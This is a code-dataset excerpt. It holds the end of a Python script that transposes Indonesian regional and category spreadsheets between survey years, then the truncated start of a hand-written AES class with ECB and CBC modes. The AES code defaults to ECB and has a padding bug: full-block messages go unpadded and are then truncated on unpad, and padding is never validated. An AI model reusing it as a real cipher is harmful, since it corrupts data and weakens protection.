'CODE_MOSTSIMILAR_Aisone':bool,'TITLE_MOSTSIMILAR_Aisone':bool,'SUBCODE_MOSTSIMILAR_Aisone':bool,'SUBTITLE_MOSTSIMILAR_Aisone':bool,\n 'CODE_MOSTSIMILAR_Bisone':bool,'TITLE_MOSTSIMILAR_Bisone':bool,'SUBCODE_MOSTSIMILAR_Bisone':bool,'SUBTITLE_MOSTSIMILAR_Bisone':bool,\n 'SIMILAR_SCORE_Aisone':int,'SIMILAR_SCORE_Bisone':int,'SIMILAR_SCORE_TOTAL':int,\n 'IS_MATCH':bool,'RECOMENDATION':str, 'ACTION':str\n })\n \n cFFmin = cFF[cFF.ACTION.isin(['match', 'newB'])].filter(['CODE_A', 'TITLE_A', 'SUBCODE_A', 'SUBTITLE_A', 'CODE_B', 'TITLE_B', 'SUBCODE_B', 'SUBTITLE_B', 'ACTION'], axis=1)\n\n cFFmin.to_csv(csv_cat_output, index = False)\n \n\ndef transpose(xls_data, csv_wil_layoutpath, csv_cat_layoutpath, xls_data_output, print_process=\"True\"):\n data_2008 = pd.read_excel(xls_data)\n layoutpath_wilayah = pd.read_csv(csv_wil_layoutpath)\n layoutpath_kategori = pd.read_csv(csv_cat_layoutpath)\n \n F1 = dtrans.transpose_wilayah(data_2008, layoutpath_wilayah)\n if print_process:\n print(\"Transpose wilayah done\")\n \n F2 = dtrans.transpose_kategori(F1, layoutpath_kategori)\n if print_process:\n print(\"Transpose kategori done\")\n \n F2.to_excel(xls_data_output, index = False)\n\n\n\n\n#layoutpath 2004 ke 2006\n\nget_layoutpath_recomendation(\n xls_wil_awal=\"2004-wilayah.xlsx\", \n xls_wil_tujuan=\"2006-wilayah.xlsx\",\n csv_wil_output=\"layoutpath_2004_to_2006_wilayah.csv\",\n xls_cat_awal=\"2004-kategori.xlsx\", \n xls_cat_tujuan=\"2006-kategori.xlsx\",\n csv_cat_output=\"layoutpath_2004_to_2006_kategori.csv\"\n)\n\nminimize_layoutpath(\"layoutpath_2004_to_2006_wilayah.csv\", \"layoutpath_2004_to_2006_wilayah_min.csv\", \"layoutpath_2004_to_2006_kategori.csv\", \"layoutpath_2004_to_2006_kategori_min.csv\")\n\nos.remove(\"layoutpath_2004_to_2006_wilayah.csv\")\nos.remove(\"layoutpath_2004_to_2006_kategori.csv\")\n\nprint(\"layoutpath 2004 ke 2006 done\")\n\n#layoutpath 2006 ke 2008\n\nget_layoutpath_recomendation(\n xls_wil_awal=\"2006-wilayah.xlsx\", \n xls_wil_tujuan=\"2008-wilayah.xlsx\",\n csv_wil_output=\"layoutpath_2006_to_2008_wilayah.csv\",\n xls_cat_awal=\"2006-kategori.xlsx\", \n xls_cat_tujuan=\"2008-kategori.xlsx\",\n csv_cat_output=\"layoutpath_2006_to_2008_kategori.csv\"\n)\n\nminimize_layoutpath(\"layoutpath_2006_to_2008_wilayah.csv\", \"layoutpath_2006_to_2008_wilayah_min.csv\", \"layoutpath_2006_to_2008_kategori.csv\", \"layoutpath_2006_to_2008_kategori_min.csv\")\n\nos.remove(\"layoutpath_2006_to_2008_wilayah.csv\")\nos.remove(\"layoutpath_2006_to_2008_kategori.csv\")\n\nprint(\"layoutpath 2006 ke 2008 done\")\n\n#layoutpath 2008 ke 2011\n\nget_layoutpath_recomendation(\n xls_wil_awal=\"2008-wilayah.xlsx\", \n xls_wil_tujuan=\"2011-wilayah.xlsx\",\n csv_wil_output=\"layoutpath_2008_to_2011_wilayah.csv\",\n xls_cat_awal=\"2008-kategori.xlsx\", \n xls_cat_tujuan=\"2011-kategori.xlsx\",\n csv_cat_output=\"layoutpath_2008_to_2011_kategori.csv\"\n)\n\nminimize_layoutpath(\"layoutpath_2008_to_2011_wilayah.csv\", \"layoutpath_2008_to_2011_wilayah_min.csv\", \"layoutpath_2008_to_2011_kategori.csv\", \"layoutpath_2008_to_2011_kategori_min.csv\")\n\nos.remove(\"layoutpath_2008_to_2011_wilayah.csv\")\nos.remove(\"layoutpath_2008_to_2011_kategori.csv\")\n\nprint(\"layoutpath 2008 ke 2011 done\")\n\n\n\n#tranpose 2004 ke 2006\ntranspose(\"2004-data.xlsx\", \"layoutpath_2004_to_2006_wilayah_min.csv\", \"layoutpath_2004_to_2006_kategori_min.csv\", \"2004-data format 2006.xlsx\")\n\nprint(\"tranpose 2004 ke 2006 done\")\n\n#tranpose 2006 ke 2008\ntranspose(\"2004-data format 2006.xlsx\", \"layoutpath_2006_to_2008_wilayah_min.csv\", \"layoutpath_2006_to_2008_kategori_min.csv\", \"2004-data format 2008.xlsx\")\ntranspose(\"2006-data.xlsx\", \"layoutpath_2006_to_2008_wilayah_min.csv\", \"layoutpath_2006_to_2008_kategori_min.csv\", \"2006-data format 2008.xlsx\")\n\nprint(\"tranpose 2006 ke 2008 done\")\n\n#tranpose 2008 ke 2011\ntranspose(\"2004-data format 2008.xlsx\", \"layoutpath_2008_to_2011_wilayah_min.csv\", \"layoutpath_2008_to_2011_kategori_min.csv\", \"2004-data format 2011.xlsx\")\ntranspose(\"2006-data format 2008.xlsx\", \"layoutpath_2008_to_2011_wilayah_min.csv\", \"layoutpath_2008_to_2011_kategori_min.csv\", \"2006-data format 2011.xlsx\")\ntranspose(\"2008-data.xlsx\", \"layoutpath_2008_to_2011_wilayah_min.csv\", \"layoutpath_2008_to_2011_kategori_min.csv\", \"2008-data format 2011.xlsx\")\n\nprint(\"tranpose 2008 ke 2011 done\")\n\n\n\n\n","sub_path":"jupyter/DATA MIKRO/1 make table.py","file_name":"1 make table.py","file_ext":"py","file_size_in_byte":10839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"547618909","text":"def string_to_bytes(text):\n\tif isinstance(text, bytes):\n\t\t#return text\n\t\tb = bytearray()\n\t\tfor i in text:\n\t\t\tb.append(i)\n\t\tl = []\n\t\tfor i in b:\n\t\t\tl.append((i))\n\t\treturn l\n\treturn [ord(c) for c in text]\n\ndef bytes_to_string(binary):\n\treturn bytes(binary)\n\nclass AES:\n\t# S-box\n\tS = [ \t[0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76],\n\t\t\t[0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0],\n\t\t\t[0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15],\n\t\t\t[0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75],\n\t\t\t[0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84],\n\t\t\t[0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf],\n\t\t\t[0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8],\n\t\t\t[0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2],\n\t\t\t[0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73],\n\t\t\t[0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb],\n\t\t\t[0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79],\n\t\t\t[0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08],\n\t\t\t[0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a],\n\t\t\t[0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e],\n\t\t\t[0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf],\n\t\t\t[0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]]\n\n\t# S-box inverse\n\tSi = [\t[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],\n\t\t\t[0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],\n\t\t\t[0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],\n\t\t\t[0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],\n\t\t\t[0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],\n\t\t\t[0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],\n\t\t\t[0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06],\n\t\t\t[0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b],\n\t\t\t[0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73],\n\t\t\t[0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e],\n\t\t\t[0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b],\n\t\t\t[0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4],\n\t\t\t[0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f],\n\t\t\t[0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d, 0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef],\n\t\t\t[0xa0, 0xe0, 0x3b, 0x4d, 0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61],\n\t\t\t[0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0c, 0x7d]]\n\n\t# Round constant words\n\tRcon = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91]\n\n\tdef __init__(self, key, iv = None):\n\t\t\"\"\"Constructor for AES\n\n\t\tSets:\n\t\t\tbit_size\t=\tNumber of bytes in key\n\t\t\tkey \t\t=\tkey paramater\n\t\t\tiv \t\t\t= \tiv paramater\n\t\t\tNb \t\t\t=\tNumber of columns\n\t\t\tNk \t\t\t=\tNumber of 32 bit words, 4 for 128 bit key, 6 for 196, 8 for 256\n\t\t\tNr \t\t\t=\tNumber of rounds, 10 for 128 bit key, 12 for 196, 14 for 256\n\n\t\t\t:param str key: encryption key\n\n\t\t\t:param str iv: initialization vector\n\n\t\t\tErrors:\n\t\t\t\t*\tIf iv is not 128 bits, ValueError is raised\n\t\t\t\t*\tIf key is not 128, 196, nor 256 bits, ValueError is raised\n\n\t\t\t:return None\n\t\t\"\"\"\n\t\t# Number of bytes in key\n\t\tself.bit_size = len(key)\n\t\t# Change key to a list of bytes\n\t\tself.key = string_to_bytes(key)\n\n\t\t# Set iv is one is provided\n\t\tif iv is not None:\n\t\t\tself.iv = string_to_bytes(iv)\n\t\t\t# If iv is not 128 bits, raise error\n\t\t\tif len(iv) != 16:\n\t\t\t\traise ValueError('Invalid IV size')\n\n\t\t# Number of Columns\n\t\tself.Nb = 4\t\t\t\n\n\t\t# If key is not 128 bits, 196, nor 256, raise error\n\t\tif len(self.key) != 16 and len(self.key) != 24 and len(self.key) != 32:\n\t\t\t raise ValueError('Invalid key size')\n\n\t\tif self.bit_size == 16:\t\t# 128 bit\n\t\t\tself.Nk = 4\t\t\t\t\t# 4 32-bit words for Cipher Key\n\t\t\tself.Nr = 10\t\t\t\t# 10 rounds\n\t\telif self.bit_size == 24:\t# 196 bit\n\t\t\tself.Nk = 6\t\t\t\t\t# 6 32-bit words for Cipher Key\n\t\t\tself.Nr = 12\t\t\t\t# 12 rounds\n\t\telif self.bit_size == 32:\t# 256 bit\n\t\t\tself.Nk = 8\t\t\t\t\t# 8 32-bit words for Cipher Key\n\t\t\tself.Nr = 14\t\t\t\t# 14 rounds\n\n\tdef encrypt(self, message, mode='ECB'):\n\t\t\"\"\"Encrypts the plain text from message\n\n\t\t:param byte string message: Message to be encrypted\n\n\t\t:param string mode:\tMode to encrypt message in \n\t\t\tMode is either:\n\t\t\t\t* 'ECB' = Electronic Code Book\n\t\t\t\t* 'CBC' = Cipher Block Chaining\n\n\t\t:return: Cipher text after AES encryption in the specified mode\n\n\t\t:rtype: Byte string\n\t\t\"\"\"\n\t\t# Convert message to a list of bytes\n\t\tmessage = string_to_bytes(message)\n\n\t\t# Expand the key\n\t\tw = self.KeyExpansion()\n\n\t\t# Pad message using RKCS#7\n\t\tmessage = self.pad(message)\n\n\t\t# Initialize cipher_text\n\t\tcipher_text = bytes()\n\n\t\t# Increment over every 128 bits in message\n\t\tfor bits_128 in range(0, len(message), 16):\t\n\t\t\t# If CBC mode\n\t\t\tif mode == 'CBC':\n\t\t\t\t# XOR message with IV first round\n\t\t\t\tif bits_128 == 0:\n\t\t\t\t\tfor i in range(16):\n\t\t\t\t\t\tmessage[i] = message[i] ^ self.iv[i]\n\t\t\t\telse:\n\t\t\t\t\t# XOR with message with preious cipher block\n\t\t\t\t\tfor i in range(16):\n\t\t\t\t\t\tmessage[bits_128 + i] = message[bits_128 + i] ^ cipher_block[i]\n\t\t\t\t# Encrypt\n\t\t\t\tcipher_block = self.cipher(message[bits_128: (bits_128 + 16)], w)\n\t\t\t\tcipher_text += bytes_to_string(cipher_block)\n\t\t\t# ECB mode\n\t\t\telif mode == 'ECB':\t\n\t\t\t\t# Encrypt\t\n\t\t\t\tcipher_text += bytes_to_string(self.cipher(message[bits_128: (bits_128 + 16)], w))\n\n\t\treturn cipher_text\n\n\n\tdef decrypt(self, cipher_text, mode='ECB'):\n\t\t\"\"\"Decrypts the cipher_text into plain text\n\n\t\t:param byte string cipher_text: cipher text to be converted to plain text\n\n\t\t:param string mode:\tMode to encrypt message in \n\t\t\tMode is either:\n\t\t\t\t* 'ECB' = Electronic Code Book\n\t\t\t\t* 'CBC' = Cipher Block Chaining\n\n\t\t:return: Plaintext\n\n\t\t:rtype: Byte string\n\t\t\"\"\"\n\t\t# Convert cipher_text into a list of bytes\n\t\tcipher_text = string_to_bytes(cipher_text)\n\n\t\t# Expand the key\n\t\tw = self.KeyExpansion()\n\n\t\t# Initialize plain text\n\t\tplain_text = bytes()\n\t\t# Increment over every 128 bits in message\n\t\tfor bits_128 in range(0, len(cipher_text), 16):\n\t\t\t# If CBC mode\n\t\t\tif mode == 'CBC':\n\t\t\t\t# Decrypt\n\t\t\t\tplain_block = self.plain(cipher_text[bits_128: (bits_128 + 16)], w)\n\t\t\t\t# XOR plain block with iv for first round\n\t\t\t\tif bits_128 == 0:\n\t\t\t\t\tfor i in range(16):\n\t\t\t\t\t\tplain_block[i] = plain_block[i] ^ self.iv[i]\n\t\t\t\telse:\n\t\t\t\t\t# XOR plain block with previous cipher block\n\t\t\t\t\tfor i in range(16):\n\t\t\t\t\t\tplain_block[i] = plain_block[i] ^ cipher_text[bits_128 - 16 + i]\n\t\t\t\t# Add block to plain text\n\t\t\t\tplain_text += bytes_to_string(plain_block)\n\t\t\telse:\n\t\t\t\tplain_text += bytes_to_string(self.plain(cipher_text[bits_128: (bits_128 + 16)], w)) \n\n\t\t# Unpad plain text using RKCS#7\n\t\tplain_text = self.unpad(plain_text)\n\n\t\treturn plain_text\n\n\t# Padding is implemented using RKCS#7 as described in this post:\n\t# https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7\n\tdef pad(self, message):\n\t\t\"\"\"Pad the message such that it is a multiple of 128 bits\n\n\t\tPadding is implemented using RKCS#7 as described here:\n\t\thttps://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7\n\n\t\t:param string message: Message to be padded\n\n\t\t:return: Padded message\n\n\t\t:rtype: list of bytes\n\t\t\"\"\"\n\t\t# Find the amound of padding that is needed\n\t\textra = 16 - (len(message) % 16)\n\n\t\t# Pad the end of the message such that the value of the padding equals the amound of padding\n\t\tif extra == 0:\n\t\t\t# If message is a multiple of 128 bits, pad with a block of 0 to indicate padding\n\t\t\tmessage += [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]\n\t\telif extra == 1:\n\t\t\t# Pad with the padding value\n\t\t\tmessage += [1]\n\t\telif extra == 2:\n\t\t\tmessage += [2, 2]\n\t\telif extra == 3:\n\t\t\tmessage += [3, 3, 3]\n\t\telif extra == 4:\n\t\t\tmessage += [4, 4, 4, 4]\n\t\telif extra == 5:\n\t\t\tmessage += [5, 5, 5, 5, 5]\n\t\telif extra == 6:\n\t\t\tmessage += [6, 6, 6, 6, 6, 6]\n\t\telif extra == 7:\n\t\t\tmessage += [7, 7, 7, 7, 7, 7, 7]\n\t\telif extra == 8:\n\t\t\tmessage += [8, 8, 8, 8, 8, 8, 8, 8]\n\t\telif extra == 9:\n\t\t\tmessage += [9, 9, 9, 9, 9, 9, 9, 9, 9]\n\t\telif extra == 10:\n\t\t\tmessage += [10, 10, 10, 10, 10, 10, 10, 10, 10, 10]\n\t\telif extra == 11:\n\t\t\tmessage += [11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]\n\t\telif extra == 12:\n\t\t\tmessage += [12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12, 12]\n\t\telif extra == 13:\n\t\t\tmessage += [13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13, 13]\n\t\telif extra == 14:\n\t\t\tmessage += [14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14]\n\t\telif extra == 15:\n\t\t\tmessage += [15 ,15, 15 ,15, 15 ,15, 15 ,15, 15 ,15, 15 ,15, 15 ,15, 15]\n\t\treturn message\n\n\tdef unpad(self, message):\n\t\t\"\"\"Unpad the message such that it is the size of the original message\n\n\t\tPadding is implemented using RKCS#7 as described here:\n\t\thttps://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7\n\n\t\t:param string message: Message to be unpadded\n\n\t\t:return: Unpadded message\n\n\t\t:rtype: list of bytes\n\t\t\"\"\"\n\t\t# Find the amound of padding that is needed to be removed\n\t\textra = message[-1]\n\n\t\t# Remove the padding\n\t\tif extra == 1:\n\t\t\tmessage = message[:-1]\n\t\telif extra == 2:\n\t\t\tmessage = message[:-2]\n\t\telif extra == 3:\n\t\t\tmessage = message[:-3]\n\t\telif extra == 4:\n\t\t\tmessage = message[:-4]\n\t\telif extra == 5:\n\t\t\tmessage = message[:-5]\n\t\telif extra == 6:\n\t\t\tmessage = message[:-6]\n\t\telif extra == 7:\n\t\t\tmessage = message[:-7]\n\t\telif extra == 8:\n\t\t\tmessage = message[:-8]\n\t\telif extra == 9:\n\t\t\tmessage = message[:-9]\n\t\telif extra == 10:\n\t\t\tmessage = message[:-10]\n\t\telif extra == 11:\n\t\t\tmessage = message[:-11]\n\t\telif extra == 12:\n\t\t\tmessage = message[:-12]\n\t\telif extra == 13:\n\t\t\tmessage = message[:-13]\n\t\telif extra == 14:\n\t\t\tmessage = message[:-14]\n\t\telif extra == 15:\n\t\t\tmessage = message[:-15]\n\t\telif extra == 0:\n\t\t\tmessage = message[:-16]\n\t\treturn message\n\t\t\n\n\tdef KeyExpansion(self):\n\t\t\"\"\"Expand the key according to AES standards\n\n\t\t:return: The expanded key\n\n\t\t:rtype: List of bytes\n\t\t\"\"\"\n\t\t# Initialize the word list\n\t\tw = []\n\n\t\t# Set the first word to the first four key bytes\n\t\tfor i in range(self.Nk):\n\t\t\tw.append([self.key[4 * i], self.key[4 * i + 1], self.key[4 * i + 2], self.key[4 * i + 3]])\n\n\t\t# Fill w so there will be a new word list for every round\n\t\tfor i in range(self.Nk, self.Nb * (self.Nr + 1)):\n\t\t\t# Set temp to previous word\n\t\t\ttemp = w[i-1]\n\n\t\t\t# Every Nk rounds\n\t\t\tif i % self.Nk == 0:\n\t\t\t\t# Mix up temp\n\t\t\t\ttemp = self.SubWord(self.RotWord(temp))\n\t\t\t\ttemp[0] = temp[0] ^ self.Rcon[i // self.Nk - 1]\n\t\t\t# When key size is 256 bit and i - 4 is a multiple of Nk\n\t\t\telif self.Nk > 6 and i % self.Nk == 4:\t\n\t\t\t\ttemp = self.SubWord(temp)\n\n\t\t\t# XOR current word with the Nk preivous word\n\t\t\tw.append([0, 0, 0, 0])\n\t\t\tfor row in range(4):\n\t\t\t\tw[i][row] = w[i - self.Nk][row] ^ temp[row]\n\n\t\t# Convert word to a list of bytes\n\t\tall_words = []\n\t\tfor i in w:\n\t\t\tfor j in i:\n\t\t\t\tall_words.append(j)\n\n\t\treturn all_words\n\n\tdef SubWord(self, word):\n\t\t\"\"\"Uses the S-box on the extended key algorithm\n\n\t\t:param list of bytes word: Word to apply s-box on\n\n\t\t:return: Word after applying s-box to it\n\n\t\t:rtype: List of bytes\n\t\t\"\"\"\n\t\t# Initialize word\n\t\tpost_s = []\n\t\tfor b in word:\n\t\t\t# For each word, apply s-box\n\t\t\tpost_s.append(self.S[b >> 4][b & 0x0F])\n\n\t\treturn post_s\n\n\tdef RotWord(self, word):\n\t\t\"\"\"Rotate word such that [a0, a1, a2, a3] = [a1, a2, a3, a0]\n\n\t\t:param list of bytes word: Word to rotate\n\n\t\t:return: Rotated word\n\n\t\t:rtype: List of bytes\n\t\t\"\"\"\n\t\t# Rotate word such that a0 is not at the end\n\t\treturn word[1:] + word[:1]\n\n\n\tdef cipher(self, message, w):\n\t\t\"\"\"Cipher to encode a single block with\n\n\t\t:param lists of bytes message: Message to encode\n\n\t\t:param list of bytes w: Extended key to encrypt with\n\n\t\t:return: Encrypted message block\n\n\t\t:rtype: List of bytes\n\t\t\"\"\"\n\t\t# Initialize byte matrix to message\n\t\tstate = []\n\t\tfor row in range(4):\n\t\t\tstate.append([])\n\n\t\tfor i in range(len(message)):\n\t\t\tstate[i % 4].append(message[i])\n\t\t\t\t\n\t\t# Apply round key to state\n\t\tstate = self.AddRoundKey(state, self.make_2d_list(w, 0, 4 * self.Nb))\n\n\t\t# For Nr - 1 rounds\n\t\tfor rounds in range(self.Nr - 1):\n\t\t\t# SubBytes\n\t\t\tstate = self.SubBytes(state)\n\t\t\t# ShiftRows\n\t\t\tstate = self.ShiftRows(state)\n\t\t\t# MixColumns\n\t\t\tstate = self.MixColumns(state)\n\t\t\t# AddRoundKey, tranform part of w into a matrix\n\t\t\tstate = self.AddRoundKey(state, self.make_2d_list(w, 4 * (rounds + 1) * self.Nb, 4 * (rounds + 2) * (self.Nb)))\n\n\t\t# For last round, do not mix columns\n\t\tstate = self.SubBytes(state)\n\t\tstate = self.ShiftRows(state)\n\t\tstate = self.AddRoundKey(state, self.make_2d_list(w, 4 * self.Nr * self.Nb, 4 * (self.Nr + 1) * (self.Nb)))\n\n\t\t# Initialize cipher text\n\t\tcipher_text = []\n\t\t# Turn state into a list of bytes\n\t\tfor column in range(self.Nb):\n\t\t\tfor row in range(4):\n\t\t\t\tcipher_text.append(state[row][column])\n\n\t\treturn cipher_text\n\n\tdef plain(self, message, w):\n\t\t\"\"\"Decode an encoded cipher block\n\n\t\t:param lists of bytes message: Message to decode\n\n\t\t:param list of bytes w: Extended key to decrypt with\n\n\t\t:return: Decrypted message block\n\n\t\t:rtype: List of bytes\n\t\t\"\"\"\n\t\t# Initialize byte matrix to message\n\t\tstate = []\n\t\tfor row in range(4):\n\t\t\tstate.append([])\n\n\t\tfor i in range(len(message)):\n\t\t\tstate[i % 4].append(message[i])\n\n\t\t# Apply round key\n\t\tstate = self.AddRoundKey(state, self.make_2d_list(w, 4 * self.Nr * self.Nb, 4 * (self.Nr + 1) * (self.Nb)))\n\n\t\t# For Nr - 1 rounds\n\t\tfor rounds in range(self.Nr - 1, 0, -1): # Goes from Nr - 1 to 1\n\t\t\t# Inverse ShiftRows\n\t\t\tstate = self.InvShiftRows(state)\n\t\t\t# Inverse SubBytes\n\t\t\tstate = self.InvSubBytes(state)\n\t\t\t# AddRoundKey, tranform part of w into a matrix\n\t\t\tstate = self.AddRoundKey(state, self.make_2d_list(w, 4 * (rounds) * self.Nb, 4 * (rounds + 1) * (self.Nb)))\n\t\t\t# Inverse MixColumns\n\t\t\tstate = self.InvMixColumns(state)\n\n\t\t# Do not inverse columns last round\n\t\tstate = self.InvShiftRows(state)\n\t\tstate = self.InvSubBytes(state)\n\t\tstate = self.AddRoundKey(state, self.make_2d_list(w, 0, 4 * self.Nb))\n\n\t\t# Initialize plain text\n\t\tplain_text = []\n\t\t# Transform state into a list of bytes\n\t\tfor column in range(self.Nb):\n\t\t\tfor row in range(4):\n\t\t\t\tplain_text.append(state[row][column])\n\n\t\treturn plain_text\n\n\tdef print(self, state):\n\t\t\"\"\"Prints a matrix\n\n\t\t:param list of lists of bytes state: Matrix to print\n\n\t\t:return: None\n\t\t\"\"\"\n\t\tprint()\n\t\tfor row in range(4):\n\t\t\tfor column in range(self.Nb):\n\t\t\t\tprint(hex(state[row][column]), end='\\t')\n\t\t\tprint()\n\n\tdef make_2d_list(self, w, start, end):\n\t\t\"\"\"Makes a matrix from w\n\n\t\t:param list of bytes w: Extended key to make a matrix from\n\n\t\t:param int start: Starting index in w for matrix\n\n\t\t:param int end: Ending index in w for matrix\n\t\t\tEnd should be s + 16\n\n\t\t:return: Matrix made from w[start] to w[end]\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\td2 = []\n\t\tfor row in range(4):\n\t\t\td2.append([])\n\n\t\tfor i in range(end - start):\n\t\t\td2[i % 4].append(w[start + i])\n\n\t\treturn d2\n\n\tdef AddRoundKey(self, state, w):\n\t\t\"\"\"AddRoundKey as specified in AES. XORs state with coresponding w\n\n\t\t:param list of list of bytes state: Matrix to XOR with w\n\n\t\t:param list of list of bytes w: Matrix to XOR with state\n\n\t\t:return: Matrix = state[i][j] ^ w[i][j]\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\tfor row in range(4):\n\t\t\tfor column in range(self.Nb):\n\t\t\t\tstate[row][column] = int(hex(state[row][column] ^ w[row][column]), 16)\n\t\treturn state\n\n\tdef SubBytes(self, state):\n\t\t\"\"\"SubBytes as specified in AES. Subsitutes byte with corresponding value in S-table\n\n\t\t:param list of list of bytes state: State matrix\n\n\t\t:return: Matrix after applying SubBytes to it\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\t# Initalize matrix\n\t\tb = []\n\t\tfor row in range(4):\n\t\t\tb.append([])\n\n\t\t# For each element in matrix\n\t\tfor column in range(self.Nb):\n\t\t\tfor row in range(4):\n\t\t\t\t# Subsitutes byte with corresponding value in S-table\n\t\t\t\tb[row % 4].append(self.S[(state[row][column] >> 4) % 16][(state[row][column] & 0x0F)])\n\n\t\treturn b\n\n\tdef InvSubBytes(self, state):\n\t\t\"\"\"InvSubBytes as specified in AES. Subsitutes byte with corresponding value in Si-table\n\n\t\t:param list of list of bytes state: State matrix\n\n\t\t:return: Matrix after applying InvSubBytes to it\n\n\t\t:rtype: List of list of bytes\n\t\t\"\"\"\n\t\t# Initalize matrix\n\t\tb = []\n\t\tfor row in range(4):\n\t\t\tb.append([])\n\n\t\t# For each element in 